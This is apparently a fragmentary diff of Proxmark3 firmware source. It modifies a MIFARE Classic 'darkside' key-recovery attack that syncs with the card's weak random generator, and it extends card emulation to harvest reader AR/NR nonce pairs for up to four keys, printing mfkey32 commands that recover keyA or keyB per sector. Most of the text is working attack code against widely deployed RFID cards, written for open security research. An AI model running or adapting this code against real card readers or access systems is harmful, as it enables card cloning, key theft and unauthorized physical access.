LED_A_ON();
for(;;) {
// Clean receive command buffer
-
if(!GetIso14443aCommandFromReader(receivedCmd, receivedCmdPar, &len)) {
DbpString("Button press");
break;
byte_t par_list[8] = {0x00};
byte_t ks_list[8] = {0x00};
+ #define PRNG_SEQUENCE_LENGTH (1 << 16);
static uint32_t sync_time;
- static uint32_t sync_cycles;
+ static int32_t sync_cycles;
int catch_up_cycles = 0;
int last_catch_up = 0;
+ uint16_t elapsed_prng_sequences;
uint16_t consecutive_resyncs = 0;
int isOK = 0;
if (first_try) {
mf_nr_ar3 = 0;
sync_time = GetCountSspClk() & 0xfffffff8;
- sync_cycles = 65536; // theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the nonces).
+ sync_cycles = PRNG_SEQUENCE_LENGTH; // theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the tag nonces).
nt_attacked = 0;
- nt = 0;
par[0] = 0;
}
else {
LED_C_OFF();
- #define DARKSIDE_MAX_TRIES 32 // number of tries to sync on PRNG cycle. Then give up.
- uint16_t unsuccessfull_tries = 0;
+ #define MAX_UNEXPECTED_RANDOM 4 // maximum number of unexpected (i.e. real) random numbers when trying to sync. Then give up.
+ #define MAX_SYNC_TRIES 32
+ #define NUM_DEBUG_INFOS 8 // per strategy
+ #define MAX_STRATEGY 3
+ uint16_t unexpected_random = 0;
+ uint16_t sync_tries = 0;
+ int16_t debug_info_nr = -1;
+ uint16_t strategy = 0;
+ int32_t debug_info[MAX_STRATEGY][NUM_DEBUG_INFOS];
+ uint32_t select_time;
+ uint32_t halt_time;
for(uint16_t i = 0; TRUE; i++) {
break;
}
+ if (strategy == 2) {
+ // test with additional hlt command
+ halt_time = 0;
+ int len = mifare_sendcmd_short(NULL, false, 0x50, 0x00, receivedAnswer, receivedAnswerPar, &halt_time);
+ if (len && MF_DBGLEVEL >= 3) {
+ Dbprintf("Unexpected response of %d bytes to hlt command (additional debugging).", len);
+ }
+ }
+
+ if (strategy == 3) {
+ // test with FPGA power off/on
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+ SpinDelay(200);
+ iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD);
+ SpinDelay(100);
+ }
+
if(!iso14443a_select_card(uid, NULL, &cuid)) {
if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Can't select card");
continue;
}
+ select_time = GetCountSspClk();
- sync_time = (sync_time & 0xfffffff8) + sync_cycles + catch_up_cycles;
- catch_up_cycles = 0;
+ elapsed_prng_sequences = 1;
+ if (debug_info_nr == -1) {
+ sync_time = (sync_time & 0xfffffff8) + sync_cycles + catch_up_cycles;
+ catch_up_cycles = 0;
- // if we missed the sync time already, advance to the next nonce repeat
- while(GetCountSspClk() > sync_time) {
- sync_time = (sync_time & 0xfffffff8) + sync_cycles;
- }
+ // if we missed the sync time already, advance to the next nonce repeat
+ while(GetCountSspClk() > sync_time) {
+ elapsed_prng_sequences++;
+ sync_time = (sync_time & 0xfffffff8) + sync_cycles;
+ }
- // Transmit MIFARE_CLASSIC_AUTH at synctime. Should result in returning the same tag nonce (== nt_attacked)
- ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time);
+ // Transmit MIFARE_CLASSIC_AUTH at synctime. Should result in returning the same tag nonce (== nt_attacked)
+ ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time);
+ } else {
+ // collect some information on tag nonces for debugging:
+ #define DEBUG_FIXED_SYNC_CYCLES PRNG_SEQUENCE_LENGTH
+ if (strategy == 0) {
+ // nonce distances at fixed time after card select:
+ sync_time = select_time + DEBUG_FIXED_SYNC_CYCLES;
+ } else if (strategy == 1) {
+ // nonce distances at fixed time between authentications:
+ sync_time = sync_time + DEBUG_FIXED_SYNC_CYCLES;
+ } else if (strategy == 2) {
+ // nonce distances at fixed time after halt:
+ sync_time = halt_time + DEBUG_FIXED_SYNC_CYCLES;
+ } else {
+ // nonce_distances at fixed time after power on
+ sync_time = DEBUG_FIXED_SYNC_CYCLES;
+ }
+ ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time);
+ }
// Receive the (4 Byte) "random" nonce
if (!ReaderReceive(receivedAnswer, receivedAnswerPar)) {
int nt_distance = dist_nt(previous_nt, nt);
if (nt_distance == 0) {
nt_attacked = nt;
- }
- else {
+ } else {
if (nt_distance == -99999) { // invalid nonce received
- unsuccessfull_tries++;
- if (!nt_attacked && unsuccessfull_tries > DARKSIDE_MAX_TRIES) {
+ unexpected_random++;
+ if (unexpected_random > MAX_UNEXPECTED_RANDOM) {
isOK = -3; // Card has an unpredictable PRNG. Give up
break;
} else {
continue; // continue trying...
}
}
- sync_cycles = (sync_cycles - nt_distance);
- if (MF_DBGLEVEL >= 3) Dbprintf("calibrating in cycle %d. nt_distance=%d, Sync_cycles: %d\n", i, nt_distance, sync_cycles);
+ if (++sync_tries > MAX_SYNC_TRIES) {
+ if (strategy > MAX_STRATEGY || MF_DBGLEVEL < 3) {
+ isOK = -4; // Card's PRNG runs at an unexpected frequency or resets unexpectedly
+ break;
+ } else { // continue for a while, just to collect some debug info
+ debug_info[strategy][debug_info_nr] = nt_distance;
+ debug_info_nr++;
+ if (debug_info_nr == NUM_DEBUG_INFOS) {
+ strategy++;
+ debug_info_nr = 0;
+ }
+ continue;
+ }
+ }
+ sync_cycles = (sync_cycles - nt_distance/elapsed_prng_sequences);
+ if (sync_cycles <= 0) {
+ sync_cycles += PRNG_SEQUENCE_LENGTH;
+ }
+ if (MF_DBGLEVEL >= 3) {
+ Dbprintf("calibrating in cycle %d. nt_distance=%d, elapsed_prng_sequences=%d, new sync_cycles: %d\n", i, nt_distance, elapsed_prng_sequences, sync_cycles);
+ }
continue;
}
}
catch_up_cycles = 0;
continue;
}
+ catch_up_cycles /= elapsed_prng_sequences;
if (catch_up_cycles == last_catch_up) {
consecutive_resyncs++;
}
else {
sync_cycles = sync_cycles + catch_up_cycles;
if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, -catch_up_cycles, sync_cycles);
+ last_catch_up = 0;
+ catch_up_cycles = 0;
+ consecutive_resyncs = 0;
}
continue;
}
consecutive_resyncs = 0;
// Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
- if (ReaderReceive(receivedAnswer, receivedAnswerPar))
- {
+ if (ReaderReceive(receivedAnswer, receivedAnswerPar)) {
catch_up_cycles = 8; // the PRNG is delayed by 8 cycles due to the NAC (4Bits = 0x05 encrypted) transfer
- if (nt_diff == 0)
- {
+ if (nt_diff == 0) {
par_low = par[0] & 0xE0; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change
}
mf_nr_ar[3] &= 0x1F;
+
+ if (isOK == -4) {
+ if (MF_DBGLEVEL >= 3) {
+ for (uint16_t i = 0; i <= MAX_STRATEGY; i++) {
+ for(uint16_t j = 0; j < NUM_DEBUG_INFOS; j++) {
+ Dbprintf("collected debug info[%d][%d] = %d", i, j, debug_info[i][j]);
+ }
+ }
+ }
+ }
byte_t buf[28];
memcpy(buf + 0, uid, 4);
set_tracing(FALSE);
}
+typedef struct {
+ uint32_t cuid;
+ uint8_t sector;
+ uint8_t keytype;
+ uint32_t nonce;
+ uint32_t ar;
+ uint32_t nr;
+ uint32_t nonce2;
+ uint32_t ar2;
+ uint32_t nr2;
+} nonces_t;
+
/**
*MIFARE 1K simulate.
*
uint8_t rAUTH_NT[] = {0x01, 0x02, 0x03, 0x04};
uint8_t rAUTH_AT[] = {0x00, 0x00, 0x00, 0x00};
- //Here, we collect UID,NT,AR,NR,UID2,NT2,AR2,NR2
+ //Here, we collect UID,sector,keytype,NT,AR,NR,NT2,AR2,NR2
// This can be used in a reader-only attack.
// (it can also be retrieved via 'hf 14a list', but hey...
- uint32_t ar_nr_responses[] = {0,0,0,0,0,0,0,0};
- uint8_t ar_nr_collected = 0;
-
+
+ //allow collecting up to 4 sets of nonces to allow recovery of 4 keys (2 keyA & 2 keyB)
+ // must be set in multiples of 2 (for 1 keyA and 1 keyB)
+ #define ATTACK_KEY_COUNT 4
+ nonces_t ar_nr_resp[ATTACK_KEY_COUNT];
+ memset(ar_nr_resp, 0x00, sizeof(ar_nr_resp));
+
+ uint8_t ar_nr_collected[ATTACK_KEY_COUNT];
+ memset(ar_nr_collected, 0x00, sizeof(ar_nr_collected));
// Authenticate response - nonce
uint32_t nonce = bytes_to_num(rAUTH_NT, 4);
uint32_t ar = bytes_to_num(receivedCmd, 4);
uint32_t nr = bytes_to_num(&receivedCmd[4], 4);
-
- //Collect AR/NR
- if(ar_nr_collected < 2){
- if(ar_nr_responses[2] != ar)
- {// Avoid duplicates... probably not necessary, ar should vary.
- ar_nr_responses[ar_nr_collected*4] = cuid;
- ar_nr_responses[ar_nr_collected*4+1] = nonce;
- ar_nr_responses[ar_nr_collected*4+2] = ar;
- ar_nr_responses[ar_nr_collected*4+3] = nr;
- ar_nr_collected++;
+
+ //Collect AR/NR per key/sector
+ if(flags & FLAG_NR_AR_ATTACK) {
+ for (uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) {
+ if(cardAUTHKEY > 0 && i < (ATTACK_KEY_COUNT/2) ) {
+ i=ATTACK_KEY_COUNT/2; //keyB skip to keyB
+ } else if (cardAUTHKEY == 0 && i == ATTACK_KEY_COUNT/2) {
+ break; //should not get here - quit
+ }
+ // if first auth for sector, or matches sector of previous auth
+ if ( ar_nr_collected[i]==0 || (cardAUTHSC == ar_nr_resp[i].sector && ar_nr_collected[i] > 0) ) {
+ if(ar_nr_collected[i] < 2) {
+ if(ar_nr_resp[ar_nr_collected[i]].ar != ar)
+ {// Avoid duplicates... probably not necessary, ar should vary.
+ if (ar_nr_collected[i]==0) {
+ ar_nr_resp[i].cuid = cuid;
+ ar_nr_resp[i].sector = cardAUTHSC;
+ ar_nr_resp[i].nonce = nonce;
+ ar_nr_resp[i].ar = ar;
+ ar_nr_resp[i].nr = nr;
+ } else {
+ ar_nr_resp[i].ar2 = ar;
+ ar_nr_resp[i].nr2 = nr;
+ }
+ ar_nr_collected[i]++;
+ break;
+ }
+ }
+ }
}
}
break;
}
+ //auth successful
ans = prng_successor(nonce, 96) ^ crypto1_word(pcs, 0, 0);
num_to_bytes(ans, 4, rAUTH_AT);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
- if(flags & FLAG_INTERACTIVE)// Interactive mode flag, means we need to send ACK
+ if(flags & FLAG_NR_AR_ATTACK && MF_DBGLEVEL >= 1)
{
- //May just aswell send the collected ar_nr in the response aswell
- cmd_send(CMD_ACK,CMD_SIMULATE_MIFARE_CARD,0,0,&ar_nr_responses,ar_nr_collected*4*4);
- }
-
- if(flags & FLAG_NR_AR_ATTACK)
- {
- if(ar_nr_collected > 1) {
- Dbprintf("Collected two pairs of AR/NR which can be used to extract keys from reader:");
- Dbprintf("../tools/mfkey/mfkey32 %08x %08x %08x %08x %08x %08x",
- ar_nr_responses[0], // UID
- ar_nr_responses[1], //NT
- ar_nr_responses[2], //AR1
- ar_nr_responses[3], //NR1
- ar_nr_responses[6], //AR2
- ar_nr_responses[7] //NR2
- );
- } else {
- Dbprintf("Failed to obtain two AR/NR pairs!");
- if(ar_nr_collected >0) {
- Dbprintf("Only got these: UID=%08x, nonce=%08x, AR1=%08x, NR1=%08x",
- ar_nr_responses[0], // UID
- ar_nr_responses[1], //NT
- ar_nr_responses[2], //AR1
- ar_nr_responses[3] //NR1
+ for ( uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) {
+ if (ar_nr_collected[i] == 2) {
+ Dbprintf("Collected two pairs of AR/NR which can be used to extract %s from reader for sector %d:", (i<ATTACK_KEY_COUNT/2) ? "keyA" : "keyB", ar_nr_resp[i].sector);
+ Dbprintf("../tools/mfkey/mfkey32 %08x %08x %08x %08x %08x %08x",
+ ar_nr_resp[i].cuid, //UID
+ ar_nr_resp[i].nonce, //NT
+ ar_nr_resp[i].ar, //AR1
+ ar_nr_resp[i].nr, //NR1
+ ar_nr_resp[i].ar2, //AR2
+ ar_nr_resp[i].nr2 //NR2
);
}
- }
+ }
}
if (MF_DBGLEVEL >= 1) Dbprintf("Emulator stopped. Tracing: %d trace length: %d ", tracing, BigBuf_get_traceLen());
+
+ if(flags & FLAG_INTERACTIVE)// Interactive mode flag, means we need to send ACK
+ {
+ //May just aswell send the collected ar_nr in the response aswell
+ cmd_send(CMD_ACK,CMD_SIMULATE_MIFARE_CARD,0,0,&ar_nr_resp,sizeof(ar_nr_resp));
+ }
}
projects / proxmark3-svn / blobdiff